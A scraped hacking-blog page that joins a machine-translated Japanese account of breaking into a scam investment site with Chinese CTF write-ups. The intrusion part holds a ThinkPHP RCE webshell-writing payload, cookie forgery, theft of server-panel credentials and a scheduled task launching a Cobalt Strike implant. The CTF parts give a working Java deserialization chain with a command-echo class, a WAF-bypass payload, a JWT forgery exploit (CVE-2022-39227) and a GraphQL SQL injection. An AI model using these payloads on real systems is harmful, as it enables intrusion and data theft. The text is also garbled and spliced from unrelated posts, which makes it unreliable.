Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863291406

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

最近、私は誤って豚を殺すプレートを購入する仮想通貨を発見したので、私はテストの波を実施しました、そして、元監督はこのようでした。

图片

ThinkPhp5.0.5のRCEで入力され、WebShellに正常に書き込まれます。

s=index | think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=assertvars [1] []=@file_put_contents(base64_decode(mtiznduucghw)、base64_decode(mti8poccccbldmfseakeakx1bpu1rbj2en))

PHPINFO情報を確認して、システムコマンドを実行できるすべての関数が無効になっていることを発見し、COMもDLロードも使用して対応するシステムコマンドを実行できません。以下に示されています。

图片

assert、system、passthru、exec、pcntl_exec、shell_exec、popen、proc_open //phpシステムコマンドはすべて無効です

ただし、ファイルの読み取りおよび書き込み許可は、assert()、file_put_contents()などの関数を無効にしません。チェック後、Windowsシステムに示されているように以下であることがわかりました。

图片

PHPがシステムコマンドを実行するすべての機能は無効になっているため、システムコマンドを実行できないことは非常に不快です。彼のウェブサイトのソースコードをダウンロードした後、私はそれを簡単に読んで、彼の管理者のクッキーが修正されており、バックドアのように見えるように、次のように偽造できることを発見しました。

图片

したがって、ログインしてバックグラウンドをバイパスでき、管理者Cookieが修正されます。 Cookieフィールドを追加してログインしてバイパスします。ブラウザf12は、上記のキー値をCookieに追加してインデックスにアクセスすると、以下に示すようにバックグラウンドに正常にログインできます。

图片

フロントデスクはカスタマーサービスを尋ね、転送口座について学びました(豚の殺害ディスクの操作方法は、ユーザーがカスタマーサービスによって提供されたアカウントにお金を転送した後、ユーザーはレビューのためにアカウントの対応する資金の値を急いでいることです。

图片

システムコマンドは以前に実行されなかったため、突破したい場合は、サーバー上のファイルをめくり始めます。システムファイルをめくった後、Pagodaフォルダーが存在することがわかります。検出では、Pagodaサービスが実際に開いていることがわかりましたが、以下に示すように、デフォルトのログインポートが変更されています。

图片

Pagodaファイルを見ると、以下に示すように、ストレージパスのファイル名admin_path.plがあります。

图片

以下に示すように、Pagodaログインポータルを見つけて、ログインポータルに正常にアクセスしました。

图片

引き続き検索して、対応するログインパスワードを保存するdefault.plファイルを見つけ続けます。

图片

パスワードを取得した後、デフォルトのユーザー名を試してみて、それが間違っていてログインできないことがわかりました。ファイルdefault.dbファイルをめくり続けてログインレコードを記録します。ログインアカウントを見つける:

图片

以下に示すように、アカウントパスワードを使用してPagoda Management BackEndに正常にログインします。以下に示すように、アカウントパスワードを使用してPagoda Management BackEndに正常にログインします。

图片

計画されたタスクを変更して、CSのオンライン馬を実行するスケジュールされたタスクを見つけます。オンラインタスクが起動されたら、計画されたタスクを次のように変更してください。

图片

CSは次のように正常に起動されました。

图片

IPにはパブリックアドレスのみがありますが、イントラネットはありません。同じCセグメントに展開されており、すべて同じものである他のいくつかのデバイスがあるため、ダウンしません。

图片

それはすべてこのようにして、退屈な味はありません

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247486570IDX=1SN=0C20FBBF4ADBEB5B555164438B3197F7CHK SM=CE67A6F3F9102FE51B76482CD7D6BB644631AE469D8C1802956034077137ECD49EA56C8D2B1FSCENE=21#wechat_redirect

https://xz.aliyun.com/t/8224

0x01 web

1.ezjava

下载源码对jar文件进行反编译,发现POST /myTest会出现反序列化漏洞

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302033773.png

util ,最后好像没用到

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034773.png

检查程序,发现apachecommoncollections4,而且其反序列化利用类未被Patch

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034341.png

一眼看到 commons-collection4-4.0, 于是直接用 ysoserial 打

考点发现就是 cc4

附上文章

外加springech 网上有现成的 poc

造轮子! :

package moe.orangemc; 
 
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 
import javassist.ClassPool; 
import javassist.CtClass; 
import org.apache.commons.collections4.Transformer; 
import org.apache.commons.collections4.comparators.TransformingComparator; 
import org.apache.commons.collections4.functors.ChainedTransformer; 
import org.apache.commons.collections4.functors.ConstantTransformer; 
import org.apache.commons.collections4.functors.InstantiateTransformer; 
 
import javax.xml.transform.Templates; 
import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.reflect.Field; 
import java.util.Base64; 
import java.util.PriorityQueue; 
 
public class Main { 
    public static void main(String[] args) { 
        try { 
            ClassPool classPool = ClassPool.getDefault(); 
            CtClass ctClass = classPool.getCtClass("Meow"); 
            byte[] bytes = ctClass.toBytecode(); 
            TemplatesImpl templates = new TemplatesImpl(); 
            Field f1 = templates.getClass().getDeclaredField("_name"); 
            Field f2 = templates.getClass().getDeclaredField("_bytecodes"); 
            f1.setAccessible(true); 
            f2.setAccessible(true); 
            f1.set(templates, "Meow"); 
            f2.set(templates, new byte[][]{bytes}); 
            Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})); 
            TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer); 
            PriorityQueue<Integer> queue = new PriorityQueue<>(2); 
            queue.add(1); 
            queue.add(1); 
            Field f = queue.getClass().getDeclaredField("comparator"); 
            f.setAccessible(true); 
            f.set(queue, transformingComparator); 
            Field f3 = queue.getClass().getDeclaredField("queue"); 
            f3.setAccessible(true); 
            f3.set(queue, new Object[] {chainedTransformer, chainedTransformer}); 
 
            ByteArrayOutputStream baos = new ByteArrayOutputStream(); 
            ObjectOutputStream oos = new ObjectOutputStream(baos); 
            oos.writeObject(queue); 
            oos.close(); 
            String result = new String(Base64.getEncoder().encode(baos.toByteArray())); 
            System.out.println(result); 
        } catch (Exception e) { 
            e.printStackTrace(); 
        } 
    } 
}

根据上文代码,发现无法回显,但根据百度发现可以利用 apache 的 catalina 进行回显,同时程序包里有这个类库:

ixoifwr13mk15224.png

编写恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM; 
import com.sun.org.apache.xalan.internal.xsltc.TransletException; 
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 
 
public class Meow extends AbstractTranslet { 
 
    public Meow() { 
        super(); 
        this.namesArray = new String[]{"meow"}; 
        try { 
 
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); 
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); 
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); 
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); 
            contextField.setAccessible(true); 
            serviceField.setAccessible(true); 
            requestField.setAccessible(true); 
            getHandlerMethod.setAccessible(true); 
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = 
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); 
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); 
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); 
            for (int i=0;i<connectors.length;i++) { 
                if (4==connectors[i].getScheme().length()) { 
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); 
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { 
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); 
                        for (int j = 0; j < classes.length; j++) { 
                            if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) { 
                                System.out.println(classes[j].getName()); 
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); 
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); 
                                globalField.setAccessible(true); 
                                processorsField.setAccessible(true); 
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null)); 
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); 
                                for (int k = 0; k < list.size(); k++) { 
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); 
                                    System.out.println(tempRequest.getHeader("tomcat")); 
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); 
                                    String cmd = "" + "cat /flag" +""; 
                                    String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 
                                    java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 
                                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\n"); 
                                    String output = s.hasNext() ? s.next() : ""; 
                                    java.io.Writer writer = request.getResponse().getWriter(); 
                                    java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter"); 
                                    usingWriter.setAccessible(true); 
                                    usingWriter.set(request.getResponse(), Boolean.FALSE); 
                                    writer.write(output); 
                                    writer.flush(); 
                                    break; 
                                } 
                                break; 
                            } 
                        } 
                    } 
                    break; 
                } 
 
 
            } 
 
 
        } catch (Exception e) { 
 
        } 
    } 
 
    @Override 
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 
 
    } 
 
    @Override 
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 
 
    } 
}

绕了一圈又找到了 Y4er 师傅的 ysoserial 修改版

https://github.com/Y4er/ysoserial

又试了下 cc4 结合 TomcatCmdEcho 内存马

java -jar ysoserial-main-1736fa42da-1.jar CommonsCollections4 "CLASS:TomcatCmdEcho" | base64

发包时注意把 Content-Type 删掉

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302045474.png

第二次发送的时候成功执行了命令

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302045093.png

查看 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302046074.png

后来想了想题目机器应该是不出网的, 一开始 cc2 的报错其实对于 rce 来说不影响, 结果后来换了个内存马的 payload 就成功了

不过 java 内存马目前还没怎么研究, 找个时间仔细看一下

把我们所有的东西组合起来,即可获得 payload,但是注意要把最后的回车删掉,不然无法反序列化,然后就得到 flag.

2.RustWaf

/src得到 nodejs 源代码

通过源码可以看到路由分别有三个 /readfile//src

并且可以通过源码知道我们操作的地方再 /readfile 并且定义了直接 post 传再 body

其实这个就是利用 fs 的函数,这个刷过 ctfshow 的同学都知道,可以读文件

const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    let data = fs.readFileSync(file_to_read);
    res.send(data.toString());
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

代码比较简单,重点就是在 /readfile 目录下读取文件,而会直接从 postbody 获取文件名,测试读 取 /etc/passwd 成功

aqs13lxfs4p15250.png

但是读取 flag 的时候没有成功,返回了 rust 的代码。可以发现如果 payload 中包含 flag 或者 proc 就会直接返回文件内容,如果绕过了再判断 payload 如果是 json 格式,那么是否存在 key 为 protocol ,如果存在也直接返回文件内容

use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
    }
pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }

//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }
        if let Ok(json_body) = serde_json::from_str::<Value>(body) {
            if let Some(json_body_obj) = json_body.as_object() {
                if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                    return String::from("./main.rs");
                }
            }
            if let Ok(file) = serde_json::from_str::<File>(body) {
                return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
            }
        } else{
//body not json
            return String::from(body);
        }
        return String::from("./main.rs");
    }
    fn main() {
        let args: Vec<String> = env::args().collect();
        println!("{}", waf(&args[1]));
}

发现 corctf 的某道题和这道题类似,也是绕过 fs.readfileSync

链接

链接2

将 payload 以 json 格式传,但是这里用到的 payload 中存在 protocol 导致 rust 能检测到,要利用 unicode 绕过。

最终 payload :

{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","pr\ud800otocol":"file:","href":"fuckyou"}

得到 flag 


3.FunWEB

赶在题目环境关闭前问了下学长思路然后复现了一波

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302200660.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302200628.png

题目存在 jwt, 用的是 python-jwt 库最近的漏洞 CVE-2022-39227

https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9

具体的 exp 在 commit 记录里面, 需要自己手动改

from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g')
print(token)

这里注册一个 123/123 用户, 然后用网站给的 token 来打

注意 parsed_payload['is_admin'] = 1 里面的 1 必须是 int 类型

之后直接把输出复制到 cookie 里, 再访问 /getflag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302201814.png

提示需要 admin password, 于是点击查看成绩, 发现是 graphql 查询

参考文章

https://hwlanxiaojun.github.io/2020/04/14/当CTF遇上GraphQL的那些事/

https://threezh1.com/2020/05/24/GraphQL漏洞笔记及案例/

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302202359.png

根据输出的意思, 改成 getscoreusingid

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302203567.png

graphql 其实就是在后端和数据库中间加了一层, 类似的也有 sql 注入

id 处不能直接注入, 限制死了是 int 类型, 猜测可能也有 getscoreusingname

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302205780.png

改成 getscoreusingnamehahaha

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302205871.png

union 注入, 试了一圈后发现是 sqlite 数据库, 在 sqlite_master 表中查到表名为 users, 然后猜字段为 password

{ getscoreusingnamehahaha(name: "1' union select group_concat(password) from users --"){ name score } }

拿着 admin 的密码去登录, 点击查看 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302208316.png




0x02 MISC

1.0o0o0

文件尾是pk,然后伪加密可以解开

图片[1]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

一个混淆脚本,要解混淆

from secret import o0o0o0_formula


o0000o0000 = np.float32(cv2.imread('0000.bmp', 0))
o0000o0000o = np.float32(cv2.imread('oooo.bmp', 0))
o0o0o0o0o0 = o0000o0000


for i in range(o0000o0000.shape[0]//8):  # 0-64
    for j in range(o0000o0000.shape[1]//8):  # 0-64
        o0oo000oo0 = int(o0000o0000.shape[0] / 8)
        o000000000 = int(o0000o0000.shape[1] / 8)
        o0000000000 = o0000o0000o.shape[0] * o0000o0000o.shape[1]
        o0ooooooo0 = math.ceil(o0000000000 / (o0oo000oo0 * o000000000))
        o00o0o0o00 = cv2.dct(o0000o0000[8*i:8*i+8, 8*j:8*j+8])
        for ooooooooo in range(o0ooooooo0):
            x, y = o0ooooooo0-ooooooooo, o0ooooooo0+ooooooooo
            o000ooo000 = o00o0o0o00[x, y]
            o0o0o0o0o0o = o00o0o0o00[8 - x, 8 - y]
            oo0o0 = secret([i, ooooooooo, random.randint(0, 10)])
            oo000 = secret([j, ooooooooo, random.randint(0, 10)])
            if o000ooo000 <= o0o0o0o0o0o:
                o0oo000oo0oo = random.randint(24, 36)
            else:
                o0oo000oo0oo = random.randint(-24, -12)
            o00o0o0o00[8-x, 8-y] = float(o0oo000oo0oo)
            o00o0o0o00[x, y] += float((o0000o0000o[oo0o0][oo000] - 128)*2)
        o0o0o0o0o0[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(o00o0o0o00)


cv2.imwrite("0o0o0.bmp", o0o0o0o0o0)

实际上就是照着把变量换一便就行了,大概这样

import secrets
import numpy as np


img = np.float32(cv2.imread('0000.bmp', 0))
water = np.float32(cv2.imread('oooo.bmp', 0))


pic = img


for i in range(img.shape[0]//8):
    for j in range(img.shape[1]//8):
        a = int(img.shape[0] / 8)
        b = int(img.shape[1] / 8)
        num = water.shape[0] * water.shape[1]
        r = math.ceil(num / (a * b))
        dct = cv2.dct(img[8*i:8*i+8, 8*j:8*j+8])
        for m in range(r):
            rx,ry = r-m,r+m
            r1 = dct[rx,ry]
            r2 = dct[8-rx,8-ry]
            n1 = secret([i,m, random.randint(0, 10)])
            n2 = secret([i,m, random.randint(0, 10)])
            if r1<=r2:
                k = random.randint(24,36)
            else:
                k =  random.randint(-24, -12)
            
            dct[8-rx,8-ry] = float(k)
            dct[rx,ry] += float((water[m][m] - 128)*2)
        pic[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(dct)
    
cv2.imwrite("0o0o0.bmp", pic)

ok,然后看看代码,

首先coploit非常牛逼,直接自动补全是dct域变换相关了,所以说这里直接也不用去想是什么算法相关了,网上脚本不太行,搜了下相关论文,还可以

一种基于DCT理论的空域数字水印算法-DAS算法 – 百度学术 (baidu.com)

然后具体更多细节内容在secert中,这里我们要结合论文内容进行分析

过一遍,r=4,然后把128的内容写入512内,之后进行8×8的分块,然后每个块需要4像素才可以全部隐藏。

计算获得

n1 = i*2+m*2

n2 = j*2+m//2

编写dct空域解密脚本

import numpy as np
import cv2 
from PIL import Image


img1 = cv2.imread('0o0o0.bmp')
img1 = img1.astype('float32')
img2 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
w,h = 128,128


r = 4  


water = Image.new('L', (w, h), 255)


res = []


a = int(img2.shape[0] / 8)
b = int(img2.shape[1] / 8)


for i in range(a):
    for j in range(b):
        dct = cv2.dct(img2[8*i:8*i+8, 8*j:8*j+8])
        for m in range(r):
            rx,ry = 4-m,4+m
            r1 = dct[rx,ry]
            r2 = dct[7-rx,7-ry]
            if r1>r2:
                water.putpixel((i*2+m%2,j*2+m//2),0)
                res.append(0)
            else:
                water.putpixel((i*2+m%2,j*2+m//2),255)
                res.append(1)


print(res)
water.show()

获得图片

图片[2]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

读取,转ascii码,发现结果不对,尝试xor了一下0xff,获得flag

from PIL import Image


im = Image.open("water.bmp")
im = im.convert("L")
w,h = im.size
flag = []


k = 0
for i in range(h):
    for j in range(w):
        if im.getpixel((j,i)) != 255:
            k += 1
        else:
            flag.append(k)
            k = 1


for i in flag:
  print(chr(i^0xff),end="")

2.strange_forensics

linux内存取证,基本上strings都能做,一步一步来

直接strings flag,发现了flag3

图片[3]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

flag1说是用户的密码,总所周知linux密码存在/etc/shadow文件内,当然字符串那么多也不怎么好找,还是看看,随处可见的bob

图片[4]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

那么bob也肯定就是明文存储在shadow里面了,看看shadow文件结构

图片[5]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

用户名后跟冒号加$符号,直接搜索

图片[6]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

找到了,直接丢入cmd5查询,获得flag1 890topico

然后flag2是个问题,继续寻找,尝试搜索Desktop等关键字,发现盲点,一个secret.zip的文件

图片[7]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

010搜索zip的文件头,翻到最后发现了zip文件。

图片[8]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

提取出来,是个伪解密,改下加密头00-》09进行爆破,

图片[9]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

最后获得密码123456

图片[10]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

拼接起来,最终flag

890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER

补充

实际上使用vol做map解出来的捏,可惜查找文件效率实属感人,

写wp就懒得再做一遍了,strings大法好

图片[11]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

3.lena

水印,宇宙无敌超级大套娃,把关键内容基本都加了备注,混淆就是审计起来麻烦,其他的也没什么了,备注好各个功能就行,反正都是套娃,相互调用就行了,该题目使用的混淆工具

Oxyry Python Obfuscator – The most reliable python obfuscator in the world

import cv2
import pywt
import numpy as np
from reedsolo import RSCodec


#猫眼变换
def a(OO0O000OO00OO000O, O0O00OOOOO0OO0O0O):
    O000O0O0OOOOOO0OO, OO0000OOO0O0OOOOO, OOOOOOOOO00000OO0 = O0O00OOOOO0OO0O0O
    O0OO0OOO0OO0O0O0O = np.zeros(OO0O000OO00OO000O.shape)
    OO0OO0OOO0O0O0OOO, O00OO00OO0O000OOO = OO0O000OO00OO000O.shape[:2]
    for OOOO00O0O000O0O00 in range(O000O0O0OOOOOO0OO):
        for O0O00OO0000000000 in range(OO0OO0OOO0O0O0OOO):
            for O0OO0OO00OO0O00O0 in range(O00OO00OO0O000OOO):
                O00O00O00OOOOO000 = (O0OO0OO00OO0O00O0 +
                                     OO0000OOO0O0OOOOO * O0O00OO0000000000) % O00OO00OO0O000OOO
                OOO00000OOO0O0O00 = (
                    OOOOOOOOO00000OO0 * O0OO0OO00OO0O00O0 +
                    (OO0000OOO0O0OOOOO * OOOOOOOOO00000OO0 + 1) * O0O00OO0000000000) % OO0OO0OOO0O0O0OOO
                O0OO0OOO0OO0O0O0O[OOO00000OOO0O0O00, O00O00O00OOOOO000] = OO0O000OO00OO000O[O0O00OO0000000000,
                                                                                            O0OO0OO00OO0O00O0]
        OO0O000OO00OO000O = O0OO0OOO0OO0O0O0O.copy()
    return O0OO0OOO0OO0O0O0O


#b,分块,与c对应
def b(OO0O0OOO0OOOOOO00, O00OOOO0OOOOO0O00):
    O0OO00O00OO0OOO0O, O0O00O0O0OOOOOO0O = OO0O0OOO0OOOOOO00.shape[:2]
    OOO0000O0OOO00O0O, O0O0O0O0O0000OO00 = O00OOOO0OOOOO0O00
    OOO0OO0O00O0OO0OO = (O0OO00O00OO0OOO0O // OOO0000O0OOO00O0O, O0O00O0O0OOOOOO0O // O0O0O0O0O0000OO00,
                         OOO0000O0OOO00O0O, O0O0O0O0O0000OO00)
    O0OO0OOO0OOOO0O00 = OO0O0OOO0OOOOOO00.itemsize * np.array(
        [O0O00O0O0OOOOOO0O * OOO0000O0OOO00O0O, O0O0O0O0O0000OO00, O0O00O0O0OOOOOO0O, 1])
    OO0OO0O0OO0OO0O0O = np.lib.stride_tricks.as_strided(OO0O0OOO0OOOOOO00, OOO0OO0O00O0OO0OO,
                                                        O0OO0OOO0OOOO0O00).astype('float64')
    OO0OO0O0OO0OO0O0O = np.reshape(
        OO0OO0O0OO0OO0O0O,
        (OOO0OO0O00O0OO0OO[0] * OOO0OO0O00O0OO0OO[1], OOO0000O0OOO00O0O, O0O0O0O0O0000OO00))
    return OO0OO0O0OO0OO0O0O


#c 合块,与b对应
def c(O0O0OOOO0O0O00O0O, OOO0OO000O0000O00):
    O0O0O0O00OO0O0O00, OO000O00O0000O000 = OOO0OO000O0000O00[:2]
    OOOOO0000O0OO00OO, OOOO00O0OOO0000O0 = O0O0OOOO0O0O00O0O.shape[-2:]
    OOO0O000O0O0O00OO = (O0O0O0O00OO0O0O00 // OOOOO0000O0OO00OO, OO000O00O0000O000 // OOOO00O0OOO0000O0,
                         OOOOO0000O0OO00OO, OOOO00O0OOO0000O0)
    O0O0OOOO0O0O00O0O = np.reshape(O0O0OOOO0O0O00O0O, OOO0O000O0O0O00OO)
    OOOOO00O0O00OO00O = []
    for OO00OOO0O0O0OOO00 in O0O0OOOO0O0O00O0O:
        OOOOO00O0O00OO00O.append(np.concatenate(OO00OOO0O0O0OOO00, axis=1))
    OO00O0OO0O000OOOO = np.concatenate(OOOOO00O0O00OO00O, axis=0)
    return OO00O0OO0O000OOOO


#二值化用,
def d(OO00OOOO00000O000):
    O0O0000000000O00O = ((OO00OOOO00000O000 > 128) * 255).astype('uint8')
    return O0O0000000000O00O


#套娃变换,μ律
def e(O0OO0OOOOO0O00OOO, O000O0O0O0O00O0O0, O0OOOOOO00OO00O0O):
    return np.log(1 + O0OOOOOO00OO00O0O *
                  (np.abs(O0OO0OOOOO0O00OOO) / O000O0O0O0O00O0O0)) / np.log(1 + O0OOOOOO00OO00O0O)


#套娃里面的μ律逆变换
def f(O0O0OO0O0O000O0O0, OOOO0000O0OOOOO00, OOOO0OOO00O0OO00O):
    return (OOOO0000O0OOOOO00 / OOOO0OOO00O0OO00O) * (np.power(1 + OOOO0OOO00O0OO00O, np.abs(O0O0OO0O0O000O0O0)) - 1
                                                      )


#也是套娃的,QIM
def g(O0O0O0OO0OO00O000, O0O0O00O00000OO00, O0O0000O000OO00OO):
    O000O000OOOOO0OOO = (np.round(O0O0O0OO0OO00O000 * 1000 / O0O0000O000OO00OO) * O0O0000O000OO00OO +
                         (-1)**(O0O0O00O00000OO00 + 1) * O0O0000O000OO00OO / 4.) / 1000
    return O000O000OOOOO0OOO


class Watermark:


    def __init__(O0O0OOO0O0O000000, OO00OO0OO0OO00000):
        #初始变量定义,都是self
        O0O0OOO0O0O000000.block_shape = 4
        O0O0OOO0O0O000000.arnold_factor = (6, 20, 22)
        O0O0OOO0O0O000000.rsc_factor = 100
        O0O0OOO0O0O000000.mu_law_mu = 100
        O0O0OOO0O0O000000.mu_law_X_max = 8000
        O0O0OOO0O0O000000.delta = 15
        O0O0OOO0O0O000000.carrier = OO00OO0OO0OO00000.astype('float32')
        O00O00OOOOO0000O0, OO0OO0OO0OO0O0O0O = O0O0OOO0O0O000000.carrier.shape[:2]
        O0O0OOO0O0O000000.carrier_cA_height = O00O00OOOOO0000O0 // 2
        O0O0OOO0O0O000000.carrier_cA_width = OO0OO0OO0OO0O0O0O // 2
        O0O0OOO0O0O000000.watermark_height = O0O0OOO0O0O000000.carrier_cA_height // O0O0OOO0O0O000000.block_shape
        O0O0OOO0O0O000000.watermark_width = O0O0OOO0O0O000000.carrier_cA_width // O0O0OOO0O0O000000.block_shape
        O0O0OOO0O0O000000.max_bits_size = O0O0OOO0O0O000000.watermark_height * O0O0OOO0O0O000000.watermark_width
        O0O0OOO0O0O000000.max_bytes_size = O0O0OOO0O0O000000.max_bits_size // 8
        O0O0OOO0O0O000000.rsc_size = len(
            RSCodec(O0O0OOO0O0O000000.rsc_factor).encode(b'\x00' * O0O0OOO0O0O000000.max_bytes_size))
    #补数
    def h(OOO0O00OOOOOO0O00, O00O0OOOO00OOO0O0):
        OO00O0O0O0O0000OO = (O00O0OOOO00OOO0O0 % 2).flatten()
        if len(OO00O0O0O0O0000OO) < OOO0O00OOOOOO0O00.max_bits_size:
            OO00O0O0O0O0000OO = np.hstack(
                (OO00O0O0O0O0000OO,
                 np.zeros(OOO0O00OOOOOO0O00.max_bits_size - len(OO00O0O0O0O0000OO)))).astype('uint8')
        return OO00O0O0O0O0000OO


    #字节压缩转换
